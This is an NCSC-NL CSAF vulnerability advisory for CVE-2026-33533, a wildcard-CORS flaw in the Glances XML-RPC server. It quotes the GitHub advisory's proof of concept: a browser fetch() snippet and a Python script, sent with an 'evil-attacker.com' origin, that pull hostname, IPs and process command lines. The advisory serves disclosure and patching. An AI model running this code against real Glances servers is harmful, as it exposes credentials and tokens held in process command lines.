{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33533", "tracking": { "current_release_date": "2026-04-03T15:36:42.975840Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33533", "initial_release_date": "2026-03-30T17:42:06.398718Z", "revision_history": [ { "date": "2026-03-30T17:42:06.398718Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-30T17:42:12.366105Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-04-01T07:14:54.387701Z", "number": "3", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| Products created (1)." }, { "date": "2026-04-01T07:15:02.029505Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-04-02T15:28:38.571958Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-04-02T15:28:40.414485Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-04-02T15:41:45.386820Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)." }, { "date": "2026-04-02T15:41:53.767389Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-04-02T19:39:05.693473Z", "number": "9", "summary": "Unknown change." }, { "date": "2026-04-03T09:28:40.813976Z", "number": "10", "summary": "NCSC Score updated." }, { "date": "2026-04-03T12:43:08.709964Z", "number": "11", "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products connected (1)." }, { "date": "2026-04-03T15:33:01.011897Z", "number": "12", "summary": "Source connected.| CVE status created. (valid)| EPSS created." } ], "status": "interim", "version": "12" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:deb/unknown", "product": { "name": "vers:deb/unknown", "product_id": "CSAFPID-5843883" } } ], "category": "product_name", "name": "glances" } ], "category": "product_family", "name": "bookworm" } ], "category": "vendor", "name": "Debian" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<4.5.3", "product": { "name": "vers:unknown/<4.5.3", "product_id": "CSAFPID-5985006" } } ], "category": "product_name", "name": "glances" } ], "category": "vendor", "name": "nicolargo" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<=4.5.1", "product": { "name": "vers:unknown/<=4.5.1", "product_id": "CSAFPID-5970832" } } ], "category": "product_name", "name": "glances" } ], "category": "vendor", "name": "unknown" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33533", "cwe": { "id": "CWE-942", "name": "Permissive Cross-domain Security Policy with Untrusted Domains" }, "notes": [ { "category": "description", "text": "### Summary\n\nThe Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS \"simple request\" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).\n\n### Details\n\nFile: glances/server.py, class GlancesXMLRPCHandler, line 41\n\n```python\ndef send_my_headers(self):\n self.send_header(\"Access-Control-Allow-Origin\", \"*\")\n```\n\nThis header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.\n\nThe REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python's xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.\n\n### PoC\n\nPrerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.\n\nStep 1. Start the Glances XML-RPC server on the target machine:\n\n```\nglances -s -p 61209\n```\n\nStep 2. From any machine, run the Python PoC to confirm the issue server-side:\n\n```\npython3 poc_test.py TARGET_IP 61209\n```\n\nStep 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click \"Steal System Data\". The page will display the full system monitoring data retrieved cross-origin.\n\nStep 4. Alternatively, paste this into any browser console while on any website:\n\n```javascript\nfetch(\"http://TARGET_IP:61209/RPC2\", {\n method: \"POST\",\n headers: {\"Content-Type\": \"text/plain\"},\n body: 'getAll'\n}).then(r => r.text()).then(d => {\n let m = d.match(/([\\s\\S]*?)<\\/string>/);\n let data = JSON.parse(m[1].replace(/</g,\"<\").replace(/>/g,\">\").replace(/&/g,\"&\"));\n console.log(\"Hostname:\", data.system.hostname);\n console.log(\"Processes:\", data.processlist.length);\n console.log(\"First process cmdline:\", data.processlist[0].cmdline);\n});\n```\n\nVerified output from testing on Glances 4.5.3_dev01 (current main branch):\n\n```\n[+] HTTP Status: 200\n[+] Access-Control-Allow-Origin: *\n[+] Successfully retrieved system data cross-origin.\nHostname: claude\nOS: Linux 6.8.0-1024-gcp\nProcess count: 125\nTop processes include full command lines with arguments\nTotal data categories exposed: 35\n```\n\n### Impact\n\nAny user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.\n\npoc_test.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration\n\nThis script simulates the browser-based attack by sending a POST request with\nContent-Type: text/plain (CORS simple request) to the Glances XML-RPC server.\n\nThe server responds with Access-Control-Allow-Origin: * which allows any\nwebpage to read the full response containing system monitoring data.\n\nUsage: python3 poc_test.py [target_host] [target_port]\nDefault: python3 poc_test.py 127.0.0.1 61209\n\"\"\"\n\nimport http.client\nimport json\nimport sys\nimport xmlrpc.client\n\n\ndef main():\n host = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\n port = int(sys.argv[2]) if len(sys.argv) > 2 else 61209\n\n print(f\"[*] Target: {host}:{port}\")\n print(f\"[*] Simulating cross-origin request (Content-Type: text/plain)\")\n print()\n\n conn = http.client.HTTPConnection(host, port, timeout=10)\n\n # XML-RPC payload sent as text/plain to avoid CORS preflight\n payload = 'getAll'\n headers = {\n \"Content-Type\": \"text/plain\",\n \"Origin\": \"http://evil-attacker.com\",\n }\n\n try:\n conn.request(\"POST\", \"/RPC2\", body=payload, headers=headers)\n response = conn.getresponse()\n except Exception as e:\n print(f\"[-] Connection failed: {e}\")\n sys.exit(1)\n\n print(f\"[+] HTTP Status: {response.status}\")\n cors = response.getheader(\"Access-Control-Allow-Origin\")\n print(f\"[+] Access-Control-Allow-Origin: {cors}\")\n print()\n\n if cors != \"*\":\n print(\"[-] CORS header is not wildcard. Attack would not work.\")\n sys.exit(1)\n\n data = response.read()\n result = xmlrpc.client.loads(data)[0][0]\n parsed = json.loads(result)\n\n print(\"[+] Successfully retrieved system data cross-origin.\")\n print()\n print(\"=== Stolen System Information ===\")\n print()\n\n system = parsed.get(\"system\", {})\n print(f\"Hostname: {system.get('hostname', 'N/A')}\")\n print(f\"OS: {system.get('os_name', 'N/A')} {system.get('os_version', '')}\")\n print(f\"Platform: {system.get('platform', 'N/A')}\")\n print(f\"Distribution: {system.get('linux_distro', 'N/A')}\")\n print()\n\n cpu = parsed.get(\"cpu\", {})\n print(f\"CPU user: {cpu.get('user', 'N/A')}%\")\n print(f\"CPU system: {cpu.get('system', 'N/A')}%\")\n print(f\"CPU cores: {cpu.get('cpucore', 'N/A')}\")\n print()\n\n mem = parsed.get(\"mem\", {})\n total_mb = round((mem.get(\"total\", 0)) / 1024 / 1024)\n used_mb = round((mem.get(\"used\", 0)) / 1024 / 1024)\n print(f\"Memory: {used_mb}MB / {total_mb}MB ({mem.get('percent', 'N/A')}%)\")\n print()\n\n ip_info = parsed.get(\"ip\", {})\n print(f\"IP Address: {ip_info.get('address', 'N/A')}\")\n print(f\"Subnet Mask: {ip_info.get('mask', 'N/A')}\")\n print()\n\n procs = parsed.get(\"processlist\", [])\n print(f\"Process count: {len(procs)}\")\n print()\n print(\"Top 5 processes by CPU (with command lines):\")\n for p in sorted(procs, key=lambda x: x.get(\"cpu_percent\", 0), reverse=True)[:5]:\n cmdline = p.get(\"cmdline\", [])\n cmd = \" \".join(cmdline) if isinstance(cmdline, list) else str(cmdline)\n print(f\" PID {p.get('pid'):>6} | {p.get('name', 'N/A'):>20} | CPU {p.get('cpu_percent', 0):>5.1f}% | {cmd[:100]}\")\n\n print()\n print(f\"[+] Total data categories exposed: {len(parsed.keys())}\")\n print(f\"[+] Categories: {', '.join(sorted(parsed.keys()))}\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\npoc_cors_xmlrpc.html\n\n```html\n\n\nGlances XML-RPC CORS PoC\n\n

Glances XML-RPC Cross-Origin Data Theft PoC

\n

Target:

\n\n
\n\n\n\n```",
                    "title": "github - https://api.github.com/advisories/GHSA-7p93-6934-f4q7"
                },
                {
                    "category": "description",
                    "text": "Affected versions of the Glances package are vulnerable to Information Disclosure due to a permissive cross-origin policy on the XML-RPC server. In glances/server.py, GlancesXMLRPCHandler.send_my_headers() sets Access-Control-Allow-Origin: * on every response, and the XML-RPC handler accepts POST requests with Content-Type: text/plain, allowing browser-issued CORS simple requests to invoke methods such as getAll(), getPlugin(), getAllPlugins(), getAllLimits(), and getAllViews() without a preflight check.",
                    "title": "pyupio - https://raw.githubusercontent.com/pyupio/safety-db/refs/heads/master/data/insecure_full.json"
                },
                {
                    "category": "description",
                    "text": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, the Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS \"simple request\" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). This issue has been patched in version 4.5.3.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33533"
                },
                {
                    "category": "description",
                    "text": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, the Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS \"simple request\" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). This issue has been patched in version 4.5.3.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33533.json"
                },
                {
                    "category": "description",
                    "text": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, the Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS \"simple request\" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). This issue has been patched in version 4.5.3.",
                    "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-33533"
                },
                {
                    "category": "other",
                    "text": "0.00039",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "7.1",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "4.0",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is cwe data available from source Nvd, Is related to a product by vendor Unknown",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5970832",
                    "CSAFPID-5985006",
                    "CSAFPID-5843883"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-7p93-6934-f4q7"
                },
                {
                    "category": "external",
                    "summary": "Source - pyupio",
                    "url": "https://raw.githubusercontent.com/pyupio/safety-db/refs/heads/master/data/insecure_full.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33533"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33533.json"
                },
                {
                    "category": "external",
                    "summary": "Source - debian",
                    "url": "https://security-tracker.debian.org/tracker/CVE-2026-33533"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-7p93-6934-f4q7"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-7p93-6934-f4q7"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; nvd",
                    "url": "https://github.com/nicolargo/glances/commit/dcb39c3f12b2a1eec708c58d22d7a1d62bdf5fa1"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; nvd",
                    "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.3"
                }
            ],
            "title": "CVE-2026-33533"
        }
    ]
}